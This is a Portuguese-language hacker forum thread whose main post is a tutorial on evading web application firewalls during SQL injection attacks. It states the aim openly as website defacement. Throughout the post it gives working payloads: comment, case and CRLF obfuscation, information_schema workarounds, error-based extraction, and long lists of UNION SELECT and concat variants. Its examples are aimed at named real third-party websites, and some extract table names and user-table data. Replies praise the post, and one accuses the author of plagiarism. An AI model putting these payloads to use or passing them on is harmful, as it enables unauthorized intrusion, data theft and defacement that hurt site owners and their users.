Unconfigured Ad Widget

Collapse

Anúncio

Collapse
No announcement yet.

WAF Bypassing | Resolvendo erro de UNION ALL SELECT no SQL Injection | Básico & Avançado (Completo)

Collapse
This is a sticky topic.
X
X
 
  • Filter
  • Tempo
  • Show
Clear All
new posts

  • Font Size
    #1

    Tutorial WAF Bypassing | Resolvendo erro de UNION ALL SELECT no SQL Injection | Básico & Avançado (Completo)


    # # # # # # # # # # # # # # # # # # # # # # # # # #
    Conteúdo Exclusivo para o Guia do Hacker
    # # # # # # # # # # # # # # # # # # # # # # # # # #

    Olá galera do GH esse mega tutorial é exclusivo do Forum Guia do Hacker. então vamos lá. ultimamente muitos amigos vem pedir ajuda com Deface no seguinte Assunto:
    "Me ajuda Eu não consigo unir as tabelas no deface to fazendo SQL Injection e da erro de Forbitten"
    isso faz como que nos Amantes do Deface fiquemos frutados e pulemos de Sites mas isso não é bom e é cansativo.

    Esse erro é nada mais nada menos que tem um "Firewall" ou "Filtro"no Site que impede nos amantes do Deface de unir as tabelas para prosseguir com o Ataque ao Site destinado
    bom então de Hoje endiante seus problemas estão acabados hehe
    vou ensinar o Metodo de Como Bular o "Firewall" ou "Filtro"

    Bom galera vou logo falando se você não sabe fazer SQL Injection Avançado"Manualmente" é melhor nem ler o Resto, porque você vai ficar voando u.u

    Obs: Se algum Site que eu usei de Exemplo não estiver mais Online, é porque algum lammer Ownou ele. então não faça isso! deixe para os outros que querem apreender.

    Introdução

    [ó.Ò] Técnica Bypassing [WAF]

    [+] comentário técnica WAF Bypass
    [+] A substituição técnica de palavras-chave
    [+] WAF Bypassing - usando caracteres.
    [+] Advanced WAF Bypassing – Capitalization.
    [+] técnica CRLF WAF Bypass
    [+] Erros Fatais Ocorrido no bypassing
    [+] Bypass com information_schema.tables
    [+] Buffer Overflow bypassing

    [-_-] Alguns truques

    [*-*] UNION ALL SELECT "Bypassing"
    [*-*] Bypassing Group Concat
    [*-*] pybassing LIMITE
    [*-*] parâmetro nulo
    [*-*] Se a coluna não aparece
    [*-*] Código unhex (hex)
    [*-*] Requested para WAF bypassing

    # # # # # # # # # # # # # # # # # # # # # # # # # #
    O que é WAF ?
    # # # # # # # # # # # # # # # # # # # # # # # # # #

    WAF Significa Web Application Firewall. A fim de evitar os ataques
    como SQLii e XSS, os administradores colocam Aplicação Web Firewalls.
    O WAF's detecta tentativas strings mal-intencionada como UNION ALL SELECT, GROUP CONCAT etc..
    as Strings definidas que serão usadas para evitar as injeções de códigos estarão
    definidas dentro de uma lista Negra (BlackList). Com o Método que eu ensinarei
    os sites vulneráveis ??com "Firewall" ou "Filtro" podem ser facilmente ignorados.

    # # # # # # # # # # # # # # # # # # # # # # # # # #
    Como funciona?
    # # # # # # # # # # # # # # # # # # # # # # # # # #

    Quando o WAF detecta tentativas de Injeção de Strings maliciosas, o URL/Link de entrada fica Bloqueado Com a maioria das Vezes esse Erro


    O nosso objetivo é "passar" pelo Servidor Firewall para que este erro
    não venha aparecer e sim o site normalmente para prosseguir com o ataque.
    Existem muitos métodos para Bypassing WAF. Agora vou falar sobre um pequeno truque para o Inicio.

    Vou explicar o que WAF o que ele realmente faz em
    um site / servidor.

    WAF é: Web Application Firewall, seu objetivo é filtrar
    um monte de nossos personagens consultas.

    Tenho alguns sites para o exemplo que vamos usar como "Estudos" para apreender este Fascinante Método.

    Olhe o Exemplo Abaixo:

    Código:
    www.agarestutorial.com/noticias.php?id=244 union all select 1,2,3,4,5,6,7--
    Digamos que apareça o Erro 403 FORBIDDEN error, ou 404 not found error
    Como na imagem acima. então vamos lá.

    [+] Comentário técnica WAF Bypass

    Strings que iremos usar.
    Código PHP:
    /*! */ 
    /*!50000 */ 
    Este será a String que vamos usar em sintaxe C que o MySQL usa.
    É a forma mais comum de passar pelo Firewall de um site.
    Desta forma, o WAF pensa que é um comentário e uma injeção de Strings Maliciosas.
    É claro que se o WAF tem uma filtragem mais avançada isso poderia não funcionar.
    Mas eu vou ensinar Diversos Métodos para isso não se preocupe rs'

    Como usar comentando em SQL Injection:

    Código:
    http://www.helmetgames.com/game.php?ID=-25 union all select 1,2,3,4,5,6,7,8,9,10,11,12,13--


    Veja que retornou um erro... então esse site tem um Firewall ou Filtro então vamos da Bypassing nele

    Se juntamos a String a cima
    Código PHP:
    /*! */ 
    /*!50000 */ 
    Ficaria assim

    Código:
    www.helmetgames.com/game.php?ID=-25+/*!50000union*/+select+1,2,3,4,5,6,7,8,9,10,11,12,13--


    OMG!!!! issu é Mágica herheherh.
    veja que retornou as colunas vulneraveis para que continue com o Ataque SQL Injection...
    mas eu não vou ensinar o SQL Injetion aqui.. não é só para quem já sabe.

    [+] A substituição técnica de palavras-chave

    Não há maneira de executar o nosso vetor então vamos ir substituindo as palavras-chave.

    Agora, como vamos fazer isso ? nós agora tem que saber a união filtros WAF para a seleção.

    Deixe para filtrar união para seleção

    Isto é o que vamos fazer:

    Código:
    +UnIoN+SeLselectECT+
    O WAF irá filtrar o +UnIoN+SeLselectECT+
    Quando ele filtra as palavras-chave do UNION - SELECT ele irá formar uma palavra novamente.
    Alguns filtros não pode ser substituído duas vezes.

    Código:
    http://www.instintocigano.com.br/artigos-de-baralho-cigano.php?id=-130+Union+select+1,2,3,4,5,6,7,8,9--


    veja que ocorreu um erro na união das tabelas isso significa novamente que exite um Firewall ou Filtro como somos "hackers" vamos bular novamente heherh

    vamos olhar o code abaixo:

    Código:
    www.instintocigano.com.br/artigos-de-baralho-cigano.php?id=-130+UnIoN+SeLselectECT+1,2,3,4,5,6,7,8,9--




    OMG novamente fizemos Mágica (BLINKS) passamos novamente pelo firewall...
    agora podemos prosseguir com o ataque ao site.

    [+] WAF Bypassing - usando caracteres.

    Bom galera eu não consegui nenhum site para mostrar de exemplo mas vou tentar explicar usando um site fake. Lest's Go.

    Todo um conjunto de caracteres disponíveis que podemos usar para passar o Firewall ou Filtro

    As seguintes Strings podem fazer isso.

    Código PHP:
    Código PHP:
    ? |,, ", ', *,%, £, [],;:, \ /, $, €, () ... 
    usando estas Strings em lotes de casos / *! * / não é filtrada. Mas o sinal * é substituído por um espaço e UNION-- que são os filtrados. O que significa substituir as palavras-chave não iria funcionar.
    Nestes casos, pode simplesmente usar o caractere * para dividir as palavras-chave.

    Gostaríamos de fazer a próxima coisa lógica:


    Código PHP:
    www [site] .com index.php id = -uni em * + sel ect +1,2,3,- + - 
    Quase a mesma palavra-chave.
    Mas, neste caso, só * é filtrado pelo foi substituindo por um espaço com o mesmo resultado que em palavras-chave.

    [+] Advanced WAF Bypassing – Capitalization.

    Outra maneira é simplesmente aproveitar as nossas Strings
    Em vez de união(UNION) em alguns mais básicos de WAF iria funcionar como um +

    exemplo:

    Código PHP:
    www.[site].com/index.php?id=-1+UnIoN+SeLeCt+1,2,3,4--+- 
    [+] técnica CRLF WAF Bypass

    CR LF Significa " Carriage Return, Line Feed "
    que é uma ressaca DOS dos velhos tempos de quando alguns dispositivos necessário um retorno de carro , e alguns dispositivos eram necessário para um avanço de linha e para obter uma nova linha teria que inovar Certo ? se é que me entende, então a Microsoft decidiu apenas fazer uma nova linha, de modo que seria a saída corretamente em todos os dispositivos.

    Programas do Windows esperam que seu formato de nova linha de CRLF ( \ r \ n). * nix esperar apenas dados LF (\ n) . Se você abrir um documento de texto no bloco de notas Unix no Windows, você vai perceber que todas as quebras de linha que irar desaparecer e todo o documento em uma linha . Isso porque o bloco de notas espera dados CRLF , eo documento Unix não tem o caráter \ r .


    Existem programas na internet grátis, que irá converter isso para você em um padrão * nix distro ( dos2unix e unix2dos )

    vamos ao exemplo:
    Syntax :

    Código:
    %0A%0D+Mysql Statement's+%0A%0D
    Código:
    ?id=-2+%0A%0D/*!%0A%0Dunion*/+%0A%0D/*!50000Select*/%0A%0D/*!+77771,77772,unhex(hex(/*!password*/)),77774+from+/*!`users`*/-- -
    Site de Exemplo:

    Código PHP:
    http://fpchurch.org.uk/News/view.php?id=-26+%0A%0Dunion%0A%0D+%0A%0Dselect%0A%0D+1,2,3,4,5%20-- 


    se voce tentar assim irar da um erro. sinal que existe o Filtro lá;

    Código PHP:
    http://fpchurch.org.uk/News/view.php?id=-26+ union all select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20-- 

    [+] Erros Fatais Ocorrido no bypassing

    Então vamos lá eu não tenho muito o que explicar nessa seção do Tutorial porque é um erro não tem muito o que se falar só mostrar
    Para entender como podemos ignorar o Erro Fatal que Ocorreu
    Veja o exemplo abaixo.

    Código PHP:
    http://wwfa.org.uk/article.php?id=-174 UNION SELECT 1,2,3,4,5,6,7,8-- 


    veja que ocorreu o erro... olhe o exemplo abaixo também

    Código:
    http://wwfa.org.uk/article.php?id=-174 UNION SELECT null,2,3,4,5,6,7,8-- Error
    http://wwfa.org.uk/article.php?id=-174 UNION SELECT 1,null,3,4,5,6,7,8-- Error
    http://wwfa.org.uk/article.php?id=-174 UNION SELECT 1,2,null,4,5,6,7,8-- Error
    http://wwfa.org.uk/article.php?id=-174 UNION SELECT 1,2,3,null,5,6,7,8-- Error
    http://wwfa.org.uk/article.php?id=-174 UNION SELECT 1,2,3,4,null,6,7,8-- No Error
    se você analizar acima verá que eu fiquei tentando achar a coluna vulneravel com um "null" então é como procurar a coluna com um "Order by 1--","Order by 2--","Order by 3--" assim por diante..

    então achei a coluna vulneravel que é a "7"

    Exemplo de Bypassing

    Código PHP:
    http://wwfa.org.uk/article.php?id=-174 UNION SELECT 1,2,3,4,null,6,7,8-- 


    dinovo Eu sou mágico u.u (zoa.)

    veja como é simples hein ?

    [+] Bypass com information_schema.tables

    Agora vou mostrar-lhe muitos método para Bypass information_schema.tables

    Com Espaço

    Código:
    information_schema . tables
    Com Caracteres

    Código:
    `information_schema`.`tables`
    Com Códigos específico

    Código:
    /*!information_schema.tables*/

    Método Encoded

    Código:
    FROM+information_schema%20%0C%20.%20%09tables
    Com foo `.`

    Código:
    (select+group_concat(table_name)`foo`+From+`information_schema`.`tAblES`+Where+table_ScHEmA=schEMA())

    Técnica Nomes alternativos com Site de Exemplo:

    Com Nomes Alternativos


    Código:
    information_schema.statistics
    informa
    tion_schema.key_column_usage
    information_schema.table_constraints
    information_schema.partitions
    Vou mostrar alguns exemplos para extrair tabelas e colunas



    Exemplo com [information_schema.statistics] (tabela)

    Código PHP:
    fpchurch.org.uk/News/view.php?id=-26+union+select+1,group_concat(table_name),3,4,5+from+information_schema.statistics -- 


    Exemplo com [information_schema.key_column_usage] (Coluna)

    Código PHP:
    http://fpchurch.org.uk/News/view.php?id=-26+union+select+1,column_name,3,4,5+from+information_schema.key_column_usage+whe?re+table_name=0x7573657273 -- 


    Que fácil não é ? então por agora é só.
    vamos para parte dos truques e dicas

    [-_-] Alguns truques

    Bom estarei deixando uma Lista de Strings que podem Ser usadas e Testadas em Sites por diversas vezes até que você consiga da "Bypassing"
    Lest's Go


    [*-*] UNION ALL SELECT "Bypassing"

    Código:
    +--+Union+--+Select+--+
    +#uNiOn+#sEleCt+
    +union+distinct+select+
    +union+distinctROW+select+
    +union%23aa%0Aselect+
    0%a0union%a0select%09
    %0Aunion%0Aselect%0A
    +UnIoN+SeLselectECT+
    
    /%2A%2A/union/%2A%2A/select/%2A%2A/
    %2f%2a*/UNION%2f%2a*/SELECT%2f%2a*/
    +%2F**%2Funion%2F**%2Fselect+
    
    +UnIoN/*&a=*/SeLeCT/*&a=*/
    
    +%0A%0D/*!%0A%0Dunion*/+%0A%0D/*!50000Select*/%0A%0D
    /*!20000%0d%0aunion*/+/*!20000%0d%0aSelEct*/
    %252f%252a*/UNION%252f%252a /SELECT%252f%252a*/
    Lembrando que as Strings Acima são para UNIÂO DE TABELAS ( UNION ALL SELECT & UNION SELECT )

    [*-*] Bypassing Group Concat

    agora para Group Concat.. para mostrar tudas as tabelas do Site...

    Código:
    group_concat()
    grOUp_ConCat(/*!*/,0x3e,/*!*/)
    group_concat(,0x3c62723e)
    g%72oup_c%6Fncat%28%76%65rsion%28%29,%22~BlackRose%22%29 
    
    CoNcAt()
    concat%00()
    %00CoNcAt()
    CONCAT(DISTINCT )
    concat(0x3a,,0x3c62723e)
    /*!50000cOnCat*/
    
    concat_ws()
    concat_ws(0x3a,)
    CONCAT_WS(CHAR(32,58,32),version(),) 
    
    REVERSE(tacnoc)
    
    binary(version())
    
    uncompress(compress(version()))
    
    aes_decrypt(aes_encrypt(version(),1),1)
    [*-*] pybassing LIMITE

    Agora para LIMITE pyBypassing
    Se o limite não funciona, podemos usar:

    Código:
    +LIMIT+0,1
    
    +where+id+=1
    
    WHERE ID_Produit='26 -- -
    
    +having+id+=1
    
    +and length((select password from users having substr(pass,1,1)=’a'))
    [*-*] parâmetro nulo
    não to aqui pra explicar detalhadamente o que é parâmetro nulo se quiser vá no google rs. já to casado de escrever u.u

    Código:
    id=-1
    id=null
    id=1+and+false+
    id=9999
    id=1 and 0
    id==1
    id=(-1)
    =1=1
    
    +And+1=0
    /*!and*/+1=0

    [*-*] Se a coluna não aparecer
    Bom esse problema já conteceu comigo umas 3 vezes em site do Governo acredito que já deve ter acontecido com você também então aqui a forma de passar -_-

    Código:
    Having+1=1 
    +and=0+
    +div+0+
    replace ' = %23
    Site de Exemplo

    Código PHP:
    http://fpchurch.org.uk/News/view.php?id=-26+div+0+union+select+1,2,3,4,5 -- 
    Exemplo Técnica do Bypassing + Erro se a coluna não aparecer ;D
    Código PHP:
    fpchurch.org.uk/News/view.php?id=26=26+and+(select+1+from+(select+count(*),concat((select(select+concat(cast(version()+as+char),0x7e))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a


    +union+select 1111,2222,3333--

    Código PHP:
    http://fpchurch.org.uk/News/view.php?id=-26+div+0+union+select+1111,2222,3333,4444,5555 -- 


    Paint Owned u.u


    [*-*] Código unhex (hex)

    Código:
    unhex(hex(value))
    
    convert(database() using latin1)
    
    cast(value as char)
    
    uncompress(compress(version()))
    
    cast(value as char)
    
    aes_decrypt(aes_encrypt(value,1),1)
    
    binary(value)
    Exemplo de converte
    convert()

    Código:
    gov_db[nomedosite]
    db_gov
    site_44411
    cp123
    assim por diante depende do site apenas dei alguns exemplos de nomes de bancos de dados...

    Exemplo de Site:

    Código PHP:
    http://www.andytimmons.com/video.php?id=-0004 UNION SELECT 1,2,convert(database() using latin1),4,5,6,7,8-- 
    [*-*] Requested para WAF bypassing

    # tables #

    Código:
    /*!50000table_name*/
    
    %0A/*!50000%46roM*/%0A/*!50000%49nfORmaTion_scHema . tAblES*/%0A/*!50000%57here*/%0Atable_ScHEmA=schEMA()%0Alimit%0A0,1
    Diretamente na Tabela

    Código:
    (/*!50000%53elect*/%0A/*!50000%54able_name*/%0A%0A/*!50000%46roM*/%0A/*!50000%49nfORmaTion_%53cHema . %54AblES*/%0A/*!50000%57here*/%0A%54able_ScHEmA=schEMA()%0Alimit%0A0,1)
    # columns #

    Código:
    /*!50000column_name*/
    
    %0A%46roM%0AInfORmaTion_scHema . cOlumnS%0A%57heRe%0A/*!50000tAblE_naMe*/=hex table

    Créditos: Black Rose

    bom por agora é só isso Obrigado a vocês.
    Greetz: Alternative # Cr4t3r # Andreol

    Especial Thanks:
    BlackRoas / por Conseguir os Sites para Exemplo e ajuda com Hex bypassing
    BlackRoas / by Getting Sites to Sample and help with Hex bypassing

    Algumas Referencias;

    Código:
    http://security.iam-null.com/php/bypass-preg_replace-ou-pas
    https://dev.mysql.com/doc/refman/5.0/en/statistics-table.html
    http://dev.mysql.com/doc/refman/5.0/en/comments.html
    AGRADEÇER NÃO FAZ MAL... DEMOREI MUITO PRA ELABORAR ISSO. ENTÃO É O MINIMO QUE VOCÊS SANGUE-SUGAS PODEM FAZER. u.u (não é para todos)

    Bons Estudos

    © Copyright Agares - The God 2013




    Last edited by Bruno_menor; 11-12-2013, 00:29.

    O Único modo de Evitar Erros é Adquirindo Experiência. No Entando a única Maneira de Adquirir Experiência é cometendo Erros.
    Napoleão Bonaparti
    sigpic




    Skype: JoasRock
    Similar Threads

  • Font Size
    #2
    Alguns firewalls são desenvolvidos em C/C++, no caso do bypass
    Código:
    ?page_id=null%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/+1,2,3,4
    Se retornar o erro 500 para você, você pode codar e explorar isso com um Buffer Overflow,

    A propósito, Parabéns Agares, cada dia seus conteúdos ficam melhores.
    Yes, I am a criminal. My crime is that of curiosity. My crime is
    that of judging people by what they say and think, not what they look like.
    My crime is that of outsmarting you, something that you will never forgive me
    for.

    I am a hacker, and this is my manifesto. You may stop this individual,
    but you can't stop us all... after all, we're all alike.

    Comment


    • Font Size
      #3
      Postado Originalmente por Cr4t3r Ver Post
      Alguns firewalls são desenvolvidos em C/C++, no caso do bypass
      Código:
      ?page_id=null%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/+1,2,3,4
      Se retornar o erro 500 para você, você pode codar e explorar isso com um Buffer Overflow,

      A propósito, Parabéns Agares, cada dia seus conteúdos ficam melhores.

      Muito Obrigado Cr4t3r, vlw por compartilhar a sua dica Sobre o Buffer Overflow se quiser acrescentar no tutorial , avontade Amigo

      O Único modo de Evitar Erros é Adquirindo Experiência. No Entando a única Maneira de Adquirir Experiência é cometendo Erros.
      Napoleão Bonaparti
      sigpic




      Skype: JoasRock

      Comment


      • Font Size
        #4
        Tópico fixado, Parabéns Agares, e continue assim.
        Yes, I am a criminal. My crime is that of curiosity. My crime is
        that of judging people by what they say and think, not what they look like.
        My crime is that of outsmarting you, something that you will never forgive me
        for.

        I am a hacker, and this is my manifesto. You may stop this individual,
        but you can't stop us all... after all, we're all alike.

        Comment


        • Font Size
          #5
          O autor desse material é um hacker palestino de nick Black Rose.
          Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
          Ele foi postado a mais de 5 meses e pode ser encontrado em:
          Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
          Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
          Essa versão trata-se uma tradução tosca (ninguém percebeu?) usando o google tradutor e com pequenas modificações.Os créditos deveriam refletir isso, e não parte no processo de criação.
          Não insulte minha inteligência a ponto de falar que é o tal Blackrose.
          Last edited by Vetus; 13-12-2013, 08:47. Motivo: Erro de português

          Comment


          • Font Size
            #6
            Lembrando que se me enviar uma MP da conta em qualquer um dos dois fórums pedirei desculpa publicamente e farei a retificação.

            Comment

            X
            Working...
            X